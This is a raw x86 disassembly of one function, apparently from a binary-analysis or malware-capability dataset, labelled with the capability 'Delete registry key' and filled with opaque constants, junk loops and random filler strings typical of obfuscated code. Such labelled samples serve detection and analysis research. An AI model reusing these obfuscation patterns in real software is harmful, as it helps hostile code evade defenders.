Function at 0x1001c16a
Capabilities:
Delete registry key

Disassembly:
mov eax, 0x1005fd83
call fcn.1005ebe8
sub esp, 0x608
push ebx
xor ebx, ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x120], 0xf9a0
mov dword [ebp - 0x188], 0xd7276cc7
mov dword [ebp - 0x24c], 0x77fefb
mov dword [ebp - 0x494], 0xa9523668
mov dword [ebp - 0x200], 0x5916ff7d
push esi
mov dword [ebp - 0x1f0], 0x4995fb43
push edi
mov dword [ebp - 0x54], 0xffffffe6
cmp dword [ebp - 0x54], 0xffffffe2
mov dword [ebp - 0x10], esp
jne 0x1001c356
mov edi, 0x90f3bd79
push 2
lea ecx, [ebp - 0x300]
call fcn.10001d0c
lea eax, [ebp - 0x94]
mov dword [ebp - 4], ebx
push eax
push ecx
lea eax, [ebp - 0x300]
mov dword [ebp - 0x2c], 0xafb5
push ebx
mov dword [ebp - 0x38], 0xa1033631
mov edx, 0x1433
push eax
mov ecx, 0x44a4
call fcn.1001ae33
add esp, 0x10
mov dword [ebp - 0x94], ebx
jmp 0x1001c236
mov eax, dword [ebp - 0x94]
mov dword [ebp + eax*4 - 0x4c0], 0x737ae9f9
inc dword [ebp - 0x94]
cmp dword [ebp - 0x94], 4
jl 0x1001c21f
mov esi, dword [ebp - 0x300]
mov dword [esi + 4], 0xa
xor ecx, ecx
inc ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x28], 0xa0122d80
mov dword [ebp - 0x18], ebx
jmp 0x1001c26f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x100], 0xfffffffe
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1001c25e
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x100]
mov eax, dword [ebp - 0x2c]
add eax, ecx
mov ecx, dword [ebp - 0x54]
sub ecx, 0x5f40
add ecx, eax
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
mov dword [ebp - 0x28], ecx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x54]
cmp ecx, eax
setg dl
cmp edx, dword [ebp - 0x120]
jg 0x1001c2b0
mov eax, dword [ebp - 0x100]
mov eax, dword [ebp - 0x4bc]
xor ecx, ecx
mov eax, dword [ebp - 0x54]
cmp eax, dword [esi + 4]
setg cl
xor edx, edx
mov dword [ebp - 0x38], ecx
mov ecx, dword [ebp - 0x4bc]
mov eax, dword [ebp - 0x188]
cmp ecx, eax
setg dl
add edx, 0x752b
cmp edi, edx
sbb eax, eax
xor ecx, ecx
inc eax
cmp dword [ebp - 0x38], eax
sete cl
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x54]
imul eax, eax, 7
add ecx, eax
xor eax, eax
cmp eax, ecx
sbb eax, eax
inc eax
inc dword [esi + 4]
cmp dword [esi + 4], 0xc
mov dword [ebp - 0x24c], eax
mov dword [ebp - 0x38], 0xa4f69a75
jl 0x1001c24c
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1001c33a
xor esi, esi
inc esi
push esi
push 0x71e9
push ecx
call fcn.10018a10
add esp, 0xc
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x300]
call fcn.10001d69
dec dword [ebp - 0x54]
cmp dword [ebp - 0x54], 0xffffffe2
je 0x1001c1d7
push 0x3c26
lea ecx, [ebp - 0x54]
xor eax, eax
push ecx
push ebx
push 0x4f51
push 0x7366
push ecx
push 0x70d6
lea ecx, [ebp - 0x1f0]
inc eax
push ecx
push eax
push ecx
push ecx
push eax
lea edx, [ebp - 0x200]
call fcn.10017fe3
mov dword [ebp - 0x2c], 0x251f
add esp, 0x30
cmp dword [ebp - 0x2c], 0x773
jge 0x1001c4af
lea eax, [ebp - 0xd8]
push eax
lea eax, [ebp - 0xa0]
push eax
push str._d__d
call fcn.10048926
mov eax, dword [ebp - 0xa0]
lea ecx, [ebp - 0x390]
add esp, 0xc
inc eax
push eax
call fcn.10001d0c
mov edi, dword [ebp - 0x390]
xor ecx, ecx
mov eax, dword [ebp - 0xd8]
inc ecx
mov dword [edi], eax
mov esi, dword [ebp - 0xa0]
lea eax, [esi + 1]
cmp eax, ecx
jle 0x1001c41c
lea eax, [edi + 4]
mov ebx, ecx
mov edi, eax
push edi
push 0x1006955c
call fcn.10048926
mov esi, dword [ebp - 0xa0]
inc ebx
pop ecx
add edi, 4
pop ecx
lea eax, [esi + 1]
cmp ebx, eax
jl 0x1001c3f3
mov edi, dword [ebp - 0x390]
xor ecx, ecx
xor ebx, ebx
inc ecx
lea eax, [esi + 1]
mov dword [ebp - 0x18], ebx
mov edx, ecx
cmp eax, ecx
jle 0x1001c45f
mov ebx, dword [ebp - 0xd8]
mov ecx, dword [edi + edx*4 - 4]
mov eax, dword [edi + edx*4]
add ecx, eax
cmp ecx, ebx
jge 0x1001c455
sub eax, ecx
add eax, ebx
mov dword [edi + edx*4], eax
mov ebx, dword [ebp - 0xd8]
mov eax, ebx
mov esi, dword [ebp - 0xa0]
sub eax, ecx
add dword [ebp - 0x18], eax
inc edx
lea eax, [esi + 1]
cmp edx, eax
jl 0x1001c42e
xor ebx, ebx
push dword [ebp - 0x18]
push str._ld_n
call fcn.10046d04
mov eax, dword [ebp - 0xa0]
pop ecx
pop ecx
xor ecx, ecx
inc ecx
inc eax
mov esi, ecx
cmp eax, ecx
jle 0x1001c499
push dword [edi + esi*4]
push 0x1006a488
call fcn.10046d04
mov eax, dword [ebp - 0xa0]
inc esi
inc eax
pop ecx
pop ecx
cmp esi, eax
jl 0x1001c47e
push 0x10067979
call fcn.100489c6
pop ecx
lea ecx, [ebp - 0x390]
call fcn.10001d69
xor esi, esi
mov dword [ebp - 0xac], 0x8e5ccc90
inc esi
lea ecx, [ebp - 0x138]
mov dword [ebp - 0xc8], esi
push 3
call fcn.10001d0c
push 2
lea ecx, [ebp - 0x170]
mov dword [ebp - 4], esi
call fcn.10001d0c
xor edx, edx
mov byte [ebp - 4], 2
inc edx
mov dword [ebp - 0x218], edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x98], ebx
jmp 0x1001c50d
mov ecx, dword [ebp - 0x98]
mov eax, dword [ebp - 0x138]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x98]
cmp dword [ebp - 0x98], 3
jl 0x1001c4f7
push 0x387a
lea eax, [ebp - 0x98]
push eax
push edx
lea edx, [ebp - 0x170]
call fcn.1001a6fd
mov eax, dword [ebp - 0xac]
add esp, 0xc
mov dword [ebp - 0xc8], eax
mov ecx, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x138]
mov dword [eax], ecx
cmp ecx, dword [ebp - 0xac]
jle 0x1001c5a5
mov dword [ebp - 0x28], 0x234
mov dword [ebp - 0x2c], 0xc60edac7
mov dword [ebp - 0x38], 5
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x28]
sub ecx, eax
mov eax, dword [ebp - 0x138]
neg ecx
sbb ecx, ecx
xor dl, dl
inc ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x170]
mov dword [eax], 0x773196e8
mov dword [ebp - 0x38], 0x199314e7
call fcn.1001b955
jmp 0x1001c745
push 3
lea ecx, [ebp - 0x274]
call fcn.10001d0c
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x318]
mov dword [ebp - 0x28], 0xffffffff
push 2
call fcn.10001d0c
push 2
lea ecx, [ebp - 0x490]
mov byte [ebp - 4], 4
call fcn.10001d0c
push 0x7ea8
push 0x5eaa
lea eax, [ebp - 0x110]
mov byte [ebp - 4], 5
push eax
xor eax, eax
lea ecx, [ebp - 0x274]
inc eax
push eax
push 0x7098
push 0x36ae
push 0x7967
push eax
push 0x15e7
push ecx
mov dl, al
mov ecx, 0x36f4
call fcn.100187c9
add esp, 0x24
lea eax, [ebp - 0x318]
lea edx, [ebp - 0x110]
push eax
push ecx
push ecx
mov cl, 1
call fcn.10018aec
add esp, 0x10
lea eax, [ebp - 0x110]
push eax
push ecx
push ecx
push ebx
push ecx
push 0x680d
lea eax, [ebp - 0x490]
push eax
push 0x5746
push ecx
push 0xfbb
call fcn.10017985
push 0x15e5
push 0xed
xor eax, eax
lea edx, [ebp - 0x218]
inc eax
mov ecx, 0x732c
push eax
push eax
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x274]
push eax
push 0x6a90
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0xac]
push eax
lea eax, [ebp - 0x138]
push eax
push 0x6c9
push ebx
push 0xa54
call fcn.10017d28
add esp, 0x5c
inc dword [ebp - 0x18]
mov eax, dword [ebp - 0x170]
cmp dword [eax], ebx
je 0x1001c70a
mov eax, dword [ebp - 0xc8]
mov ecx, 0xfffa
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x170]
cmp ecx, dword [eax]
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x5ef11ea
mov eax, dword [ebp - 0x274]
setl cl
xor edx, edx
cmp dword [eax], ecx
mov eax, dword [ebp - 0x138]
setl dl
xor ecx, ecx
cmp edx, dword [eax]
setle cl
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x318]
xor ecx, ecx
cmp dword [eax + 4], 0x8e99
mov eax, dword [ebp - 0x138]
setge cl
mov dword [eax], ecx
lea ecx, [ebp - 0x490]
call fcn.10001d69
lea ecx, [ebp - 0x318]
call fcn.10001d69
lea ecx, [ebp - 0x274]
call fcn.10001d69
lea ecx, [ebp - 0x170]
call fcn.10001d69
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x138]
call fcn.10001d69
mov eax, dword [0x10158114]
xor edx, edx
inc edx
test dl, al
jne 0x1001c7a1
or eax, edx
mov dword [0x10158114], eax
mov dword [ebp - 4], 6
mov dword [0x1015810c], ebx
mov dword [0x10158110], ebx
call fcn.10020166
push 0x10060e1b
mov dword [0x1015810c], eax
call fcn.10046cda
or dword [ebp - 4], 0xffffffff
xor edx, edx
pop ecx
inc edx
cmp byte [0x1007be84], 0
je 0x1001c89c
push 3
lea ecx, [ebp - 0x2a4]
call fcn.10001d0c
push ecx
lea eax, [ebp - 0x4b0]
mov dword [ebp - 4], 7
mov dword [ebp - 0xb0], 0xd8a87013
lea edx, [ebp - 0x2a4]
push eax
xor cl, cl
call fcn.1001a745
pop ecx
mov dword [ebp - 0xb0], 2
pop ecx
cmp dword [ebp - 0xb0], ebx
jl 0x1001c88c
push 0x7c44
xor eax, eax
mov dword [ebp - 0xf0], 0xb3b9da4d
inc eax
lea ecx, [ebp - 0xf0]
push eax
push 0x5285
push 0x6648
push 0x1a57
push 0x18cd
push ebx
push 0x2c90
push 0x4e89
push ecx
lea ecx, [ebp - 0x2a4]
mov edx, 0x76ad
push ecx
push eax
push 0xb63
push 0xc4c
mov ecx, 0x53f6
call fcn.1001aa55
add esp, 0x34
lea eax, [ebp - 0xb0]
mov edx, 0xe10
push 1
push eax
lea eax, [ebp - 0xf0]
push eax
push ecx
push 0x5336
push ecx
lea ecx, [ebp - 0x2a4]
call fcn.10018bf4
add esp, 0x1c
dec dword [ebp - 0xb0]
jns 0x1001c7f9
lea ecx, [ebp - 0x2a4]
call fcn.10001d69
jmp 0x1001f70d
mov dword [ebp - 0x20], 0xd058a835
mov dword [ebp - 0x2c], 0x9642e40
mov dword [ebp - 0x18], ebx
jmp 0x1001c8c0
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xe0], 0xd3b3
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1001c8af
cmp dword [ebp - 0xdc], ebx
je 0x1001c904
mov eax, dword [ebp - 0xdc]
sub eax, dword [ebp - 0x20]
jne 0x1001c90f
cmp dword [ebp - 0xdc], ebx
je 0x1001c904
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp eax, 0xfffffffa
setne cl
xor eax, eax
add ecx, dword [ebp - 0xdc]
cmp ecx, 0x8905
setge al
cmp eax, dword [ebp - 0x20]
mov eax, edx
je 0x1001c906
mov eax, ebx
mov ecx, ebx
add eax, 0x8b15
je 0x1001c911
mov ecx, edx
mov eax, dword [ebp - 0xe0]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xdc]
push 1
setle dl
xor ecx, ecx
cmp edx, eax
mov edx, 0x50ea
push 0x4f39
setle cl
mov dword [ebp - 0x2c], ecx
push ecx
mov byte [ebp - 0x6a], bl
lea ecx, [ebp - 0x6a]
call fcn.10018c4e
add esp, 0xc
mov dl, 1
push 0x1007be84
call fcn.10018d6a
pop ecx
mov dword [ebp - 0x114], 0x9ff60657
lea ecx, [ebp - 0x3d8]
push 1
call fcn.10001d0c
push 1
push ecx
push ecx
lea eax, [ebp - 0x3d8]
mov dword [ebp - 4], 8
push eax
mov dword [ebp - 0x184], 8
lea ecx, [ebp - 0x1f8]
push 0x2048
call fcn.1001baac
add esp, 0x14
cmp dword [ebp - 0x114], ebx
je 0x1001ca09
mov dword [ebp - 0x228], 0xffffffff
mov dword [ebp - 0x230], 0xffffffff
mov dword [ebp - 0x220], 0x2b622b60
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1001c9d3
push 1
call fcn.10018c98
pop ecx
push ecx
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x230]
push eax
push ebx
lea eax, [ebp - 0x3d8]
push eax
lea eax, [ebp - 0x184]
push eax
call fcn.10017e95
add esp, 0x20
jmp 0x1001ca27
push ecx
push ecx
push ebx
push 0x2241
push ecx
push 0x2c86
sub esp, 0xc
mov ecx, 0x1217
call fcn.1001bf56
add esp, 0x24
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3d8]
call fcn.10001d69
push 2
lea ecx, [ebp - 0x158]
mov dword [ebp - 0xc4], 0x10077ae8
call fcn.10001d0c
mov dword [ebp - 4], 9
lea ecx, [ebp - 0x330]
mov dword [ebp - 0x1c], 0x13638ecf
mov dword [ebp - 0x30], 0xb4ef66b1
push 2
call fcn.10001d0c
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x28], 0x606e
cmp dword [ebp - 0x28], 0x6455
jle 0x1001caca
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x578]
xor eax, edi
cdq
push edx
push eax
call fcn.10001a75
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001caa3
mov eax, dword [eax]
push eax
call fcn.10046d04
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x578]
call fcn.1000205c
inc esi
cmp esi, 0x139d
jl 0x1001ca87
inc edi
cmp edi, 0x3943
jl 0x1001ca85
push 4
lea ecx, [ebp - 0x454]
call fcn.10001d0c
cmp dword [ebp - 0x28], 0x5cf3
jge 0x1001caeb
push str.fnthlpa_sbr_uhrrrj_msz_teijv_xfoo_ovysbdxi_swgtidj
call fcn.10046d04
pop ecx
push 0x351f
lea eax, [ebp - 0x158]
mov dword [ebp - 4], 0xb
push eax
push ecx
push ecx
mov dword [ebp - 0x20], 0x55a9d45c
lea edx, [ebp - 0x12c]
push 0x4437
xor cl, cl
call fcn.1001b187
add esp, 0x14
lea eax, [ebp - 0x12c]
lea edx, [ebp - 0x330]
push ebx
push eax
push ecx
mov ecx, 0x79c7
call fcn.10018c4e
add esp, 0xc
lea ecx, [ebp - 0x12c]
xor eax, eax
mov edx, 0x4967
inc eax
push ebx
push eax
push ecx
push 0x7daf
push eax
lea eax, [ebp - 0x454]
mov ecx, 0x2499
push eax
push 0xbab
call fcn.10017a33
add esp, 0x1c
mov dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], ebx
jl 0x1001cd21
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x38], 0x87c7ab89
mov dword [ebp - 0x40], 0xb168f928
mov dword [ebp - 0x40], 2
mov dword [ebp - 0x34], 0x5755261f
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x40], 0xa7209c39
mov dword [ebp - 0x40], 0xc4df8e3b
mov dword [ebp - 0x28], 0x643d
cmp dword [ebp - 0x28], 0x6511
jle 0x1001cc00
mov dword [ebp - 0x18], ebx
mov esi, ebx
mov edi, ebx
mov ebx, dword [ebp - 0x18]
lea eax, [edi + esi]
mov ecx, 0x1007ad38
xor eax, ebx
cdq
push edx
push eax
call fcn.10001b82
inc edi
cmp edi, 0x74e9
jl 0x1001cbc6
inc esi
push 0
pop ebx
cmp esi, 0x485e
jl 0x1001cbc1
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x20b7
jl 0x1001cbbf
call fcn.100043c8
mov dword [ebp - 0x40], 0xb9628eaf
mov byte [ebp - 4], 0xe
cmp dword [ebp - 0x28], 0x6390
jge 0x1001cc41
mov edx, str.kueid_fsvzhtweo_ttbhlypzx_jutpjv_ehnty_ionvchll_tbzso_dsdqim_aacoz_nklmeoccn
mov ecx, 0x1007ad38
call fcn.10003a0a
jmp 0x1001cc41
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x18], ebx
jmp 0x1001cc5e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x528], 0x65ab4d25
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1001cc4d
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
mov edx, dword [ebp - 0x330]
mov edi, dword [ebp - 0x158]
cmp eax, dword [edx]
setg cl
xor eax, eax
cmp ecx, dword [edi + 4]
mov ecx, dword [ebp - 0x1c]
sete al
mov dword [edx], eax
xor edx, edx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x158]
mov esi, dword [ebp - 0x2c]
cmp dword [eax + ecx*4], esi
mov eax, dword [ebp - 0x30]
sete dl
add eax, edx
cmp eax, dword [ebp - 0x1c]
jl 0x1001ccaf
cmp dword [edi + 4], ebx
je 0x1001ccaf
xor esi, esi
inc esi
jmp 0x1001ccb1
mov esi, ebx
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x158]
cmp esi, dword [eax + ecx*4]
setge dl
cmp edx, dword [ebp - 0x30]
jne 0x1001ccca
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
xor esi, esi
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
inc esi
mov eax, dword [ebp - 0x20]
cmp eax, esi
mov eax, dword [ebp - 0x20]
setg cl
xor edx, edx
cmp ecx, 0x76ec
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
cmp ecx, 2
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x20]
jle 0x1001cd09
cmp dword [ebp - 0x34], ebx
jne 0x1001cd09
mov ecx, ebx
jmp 0x1001cd0c
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
add eax, ecx
mov dword [ebp - 0x20], eax
dec dword [ebp - 0x1c]
jmp 0x1001cb6f
lea ecx, [ebp - 0x454]
call fcn.10001d69
lea ecx, [ebp - 0x330]
call fcn.10001d69
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x158]
call fcn.10001d69
push dword [ebp - 0x1f8]
movdqa xmm0, xmmword [str._a_a_a_a_t_t_t_t]
lea eax, [ebp - 0x4e0]
push eax
lea eax, [ebp - 0x4f0]
mov dword [ebp - 0xcc], ebx
push eax
mov dword [ebp - 0x84], 0xffffffff
lea ecx, [ebp - 0x164]
push ebx
movdqu xmmword [ebp - 0x4f0], xmm0
mov dword [ebp - 0x164], ebx
mov dword [ebp - 0x160], ebx
mov dword [ebp - 0x15c], ebx
call fcn.10005101
push ecx
push ecx
push 1
lea ecx, [ebp - 0x84]
mov dword [ebp - 4], 0x10
call fcn.10018f31
add esp, 0xc
mov dword [ebp - 0x84], ebx
jmp 0x1001ce00
push ecx
lea eax, [ebp - 0x190]
mov dword [ebp - 0x190], 3
push eax
push ecx
lea eax, [ebp - 0x164]
push eax
push 0x2db2
push 0x5a73
push ecx
push ecx
xor cl, cl
call fcn.1001a381
mov ecx, dword [ebp - 0x84]
add esp, 0x20
mov eax, dword [ebp - 0x164]
cmp dword [eax + ecx*4], ebx
jne 0x1001ce09
inc dword [ebp - 0x84]
cmp dword [ebp - 0x84], 3
jle 0x1001cdb9
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x164]
call fcn.10001d69
mov dword [ebp - 0xd4], 0xc
mov edi, 0xa0435e45
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x28], 0xbf90a23
mov dword [ebp - 0x20], 0xfffffff6
mov dword [ebp - 0x28], 0x1874da8
mov dword [ebp - 0x1c], 0xf6cbcb1a
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x418], edi
mov dword [ebp - 0x414], edi
mov dword [ebp - 0x410], edi
mov dword [ebp - 0x40c], edi
mov dword [ebp - 0x18], ebx
jmp 0x1001ce77
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x478], 0xc3efc167
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1001ce66
mov dword [ebp - 0x34], 5
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
je 0x1001ce8f
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
xor edx, edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
cmp eax, 0x9d9e
mov eax, dword [ebp - 0x1c]
setg dl
xor ecx, ecx
cmp edx, eax
setg cl
xor edx, edx
cmp ecx, 0x1b87
setle dl
xor eax, eax
cmp edx, 0xffffffff
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x28], 0x49cec79e
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x30]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
xor edx, edx
mov dword [ebp - 0x478], eax
inc edx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
cmp eax, edx
mov esi, dword [ebp - 0xd4]
setg cl
sub ecx, 0xc3b03c3f
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x410], ecx
mov ecx, dword [ebp - 0xc4]
mov al, byte [ecx]
cmp al, byte [esi + ecx]
je 0x1001cf41
inc esi
mov dword [ebp - 0xd4], esi
cmp esi, 0xe0
jl 0x1001ce27
jmp 0x1001cfc1
push edx
push ecx
push 0x787d
push ebx
push 0x28cb
push 0x2a8f
push 0x2a2d
push 0x59ac
push 0x7ef
push 0x4226
xor dl, dl
mov ecx, 0x2325
call fcn.1001a210
push 0x7519
lea eax, [ebp - 0xd4]
mov edx, 0x2f7
push eax
xor eax, eax
mov ecx, 0x141a
inc eax
push eax
push 0x3e6
push 0x612
push 0x10c9
push eax
push eax
push 0x626a
push 0x69c7
lea eax, [ebp - 0xcc]
push eax
push 0x1205
push 0x4ad4
call fcn.100177a7
add esp, 0x5c
push 4
lea ecx, [ebp - 0x348]
call fcn.10001d0c
push 1
lea ecx, [ebp - 0x3a8]
mov dword [ebp - 4], 0x11
call fcn.10001d0c
push 0x2c3a
push 0x2608
lea eax, [ebp - 0x348]
mov byte [ebp - 4], 0x12
push eax
push 0x3ae3
push ecx
lea eax, [ebp - 0x64]
mov edx, 0x2083
push eax
push ecx
xor cl, cl
call fcn.10018282
add esp, 0x1c
lea ecx, [ebp - 0x3a8]
xor eax, eax
mov edx, 0x5ac4
inc eax
push 0x5589
push 0xef5
push ebx
push 0x51e
push eax
push eax
push 0x6eee
push 0x12ac
push 0x437e
lea eax, [ebp - 0x64]
push eax
push 0xf9b
call fcn.1001b521
add esp, 0x2c
mov dword [ebp - 0x64], ebx
jmp 0x1001d067
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x140], 0x4b25b3b
inc dword [ebp - 0x64]
cmp dword [ebp - 0x64], 2
jl 0x1001d056
lea eax, [ebp - 0x3a8]
mov edx, 0x7e40
push eax
xor eax, eax
mov ecx, 0x649d
inc eax
push eax
push eax
push 0x1344
push 0x4a05
push 0x143d
push 0x5594
push 0x4e6a
push 0x629f
push 0x4f6e
lea eax, [ebp - 0x348]
push eax
push 0x2048
push 0x7602
push 0x1b8b
push ebx
push 0x77b
call fcn.10018f93
add esp, 0x40
mov dword [ebp - 0x13c], ebx
cmp dword [ebp - 0x13c], 0xfffffff1
jg 0x1001d19e
mov dword [ebp - 0x30], 0xb5c
cmp dword [ebp - 0x30], 0xe28
jle 0x1001d152
mov dword [ebp - 0x20], ebx
mov eax, ebx
mov dword [ebp - 0x18], 0x2145
mov dword [ebp - 0x28], eax
mov edi, eax
mov esi, 0x1f79
mov eax, edi
lea ecx, [ebp - 0x5d8]
cdq
push edx
push eax
call fcn.10001a75
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001d11d
mov eax, dword [eax]
push eax
call fcn.10046d04
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x5d8]
call fcn.1000205c
inc edi
dec esi
jne 0x1001d103
mov eax, dword [ebp - 0x28]
mov esi, dword [ebp - 0x20]
add eax, esi
dec dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
jne 0x1001d0fc
inc esi
mov dword [ebp - 0x20], esi
cmp esi, 0x130e
jl 0x1001d0f0
push ebx
push ecx
push 0x73b1
push ecx
lea eax, [ebp - 0x71]
mov byte [ebp - 0x71], bl
push eax
push 0x4472
push 0x6712
mov edx, 0x114e
call fcn.10019f31
add esp, 0x1c
cmp dword [ebp - 0x30], 0xa08
jge 0x1001d18c
push str.nbllzfnme_aoyvfwip_tblgkn_vafwdxt
call fcn.10046d04
pop ecx
mov dword [ebp - 4], 0x12
dec dword [ebp - 0x13c]
jmp 0x1001d0d0
lea ecx, [ebp - 0x3a8]
call fcn.10001d69
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x348]
call fcn.10001d69
mov dword [ebp - 0x258], 4
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0xec], 0xf9a0
mov dword [ebp - 0x198], 0xd7276cc7
mov dword [ebp - 0x1a0], 0x77fefb
mov dword [ebp - 0x124], 0xa9523668
mov dword [ebp - 0x238], 0x5916ff7d
mov dword [ebp - 0x18c], 0x4995fb43
mov dword [ebp - 0x58], 0xffffffe6
cmp dword [ebp - 0x58], 0xffffffe2
jne 0x1001d42c
push 2
lea ecx, [ebp - 0x408]
call fcn.10001d0c
mov dword [ebp - 4], 0x15
mov dword [ebp - 0x38], 0xafb5
mov dword [ebp - 0x34], 0xa1033631
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 2
jge 0x1001d255
xor esi, esi
inc esi
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x408]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1001d240
mov dword [ebp - 0x1c], ebx
jmp 0x1001d26b
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x4d0], 0x737ae9f9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x1001d25a
mov esi, dword [ebp - 0x408]
mov dword [ebp - 0x2c], esi
mov dword [esi + 4], 0xa
cmp dword [esi + 4], 0xc
jge 0x1001d3fb
mov dword [ebp - 0x20], 0x7d2
cmp dword [ebp - 0x20], 0xaf9
jle 0x1001d30a
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov edi, ebx
mov dword [ebp - 0x28], ebx
mov ecx, edi
mov dword [ebp - 0x34], eax
mov edi, eax
mov esi, ebx
sar edi, cl
mov eax, esi
lea ecx, [ebp - 0x5a8]
and eax, edi
cdq
push edx
push eax
call fcn.10001a75
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001d2cc
mov eax, dword [eax]
push eax
call fcn.10046d04
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x5a8]
call fcn.1000205c
inc esi
cmp esi, 0x3426
jl 0x1001d2b0
mov edi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
inc edi
mov dword [ebp - 0x28], edi
cmp edi, 0x3988
jl 0x1001d2a5
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x1552
jl 0x1001d2a0
mov esi, dword [ebp - 0x2c]
xor ecx, ecx
inc ecx
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x20], 0x7a7
jge 0x1001d327
push str.skqzuyic_zxcdrh_zhgtsmvhb_nxvhbgglf_deacmzvm_qbped
call fcn.10046d04
pop ecx
xor ecx, ecx
inc ecx
mov dword [ebp - 4], 0x15
mov dword [ebp - 0x28], 0xa0122d80
mov dword [ebp - 0x18], ebx
jmp 0x1001d34b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x128], 0xfffffffe
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1001d33a
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x128]
mov eax, dword [ebp - 0x38]
add eax, ecx
mov ecx, dword [ebp - 0x58]
sub ecx, 0x5f40
add ecx, eax
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
mov dword [ebp - 0x28], ecx
